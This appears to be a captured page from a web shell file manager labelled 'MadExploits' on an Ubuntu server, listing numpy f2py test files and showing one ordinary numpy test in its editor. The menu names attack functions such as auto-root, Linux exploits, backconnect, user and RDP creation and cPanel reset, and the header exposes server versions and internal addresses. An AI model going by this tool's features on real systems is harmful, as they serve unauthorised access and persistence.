Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
numpy /
f2py /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
test_abstract_interface.py
1.77
KB
-rw-r--r--
test_array_from_pyobj.py
22.28
KB
-rw-r--r--
test_assumed_shape.py
1.53
KB
-rw-r--r--
test_block_docstring.py
627
B
-rw-r--r--
test_callback.py
8
KB
-rw-r--r--
test_common.py
802
B
-rw-r--r--
test_compile_function.py
4.21
KB
-rw-r--r--
test_crackfortran.py
3.96
KB
-rw-r--r--
test_kind.py
1012
B
-rw-r--r--
test_mixed.py
911
B
-rw-r--r--
test_module_doc.py
950
B
-rw-r--r--
test_parameter.py
3.82
KB
-rw-r--r--
test_quoted_character.py
927
B
-rw-r--r--
test_regression.py
1.77
KB
-rw-r--r--
test_return_character.py
3.83
KB
-rw-r--r--
test_return_complex.py
4.51
KB
-rw-r--r--
test_return_integer.py
4.47
KB
-rw-r--r--
test_return_logical.py
4.73
KB
-rw-r--r--
test_return_real.py
5.28
KB
-rw-r--r--
test_semicolon_split.py
1.48
KB
-rw-r--r--
test_size.py
1.26
KB
-rw-r--r--
test_string.py
610
B
-rw-r--r--
util.py
9.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_abstract_interface.py
import textwrap from . import util from numpy.f2py import crackfortran class TestAbstractInterface(util.F2PyTest): suffix = '.f90' skip = ['add1', 'add2'] code = textwrap.dedent(""" module ops_module abstract interface subroutine op(x, y, z) integer, intent(in) :: x, y integer, intent(out) :: z end subroutine end interface contains subroutine foo(x, y, r1, r2) integer, intent(in) :: x, y integer, intent(out) :: r1, r2 procedure (op) add1, add2 procedure (op), pointer::p p=>add1 call p(x, y, r1) p=>add2 call p(x, y, r2) end subroutine end module subroutine add1(x, y, z) integer, intent(in) :: x, y integer, intent(out) :: z z = x + y end subroutine subroutine add2(x, y, z) integer, intent(in) :: x, y integer, intent(out) :: z z = x + 2 * y end subroutine """) def test_abstract_interface(self): assert self.module.ops_module.foo(3, 5) == (8, 13) def test_parse_abstract_interface(self, tmp_path): # Test gh18403 f_path = tmp_path / "gh18403_mod.f90" with f_path.open('w') as ff: ff.write(textwrap.dedent("""\ module test abstract interface subroutine foo() end subroutine end interface end module test """)) mod = crackfortran.crackfortran([str(f_path)]) assert len(mod) == 1 assert len(mod[0]['body']) == 1 assert mod[0]['body'][0]['block'] == 'abstract interface'
Close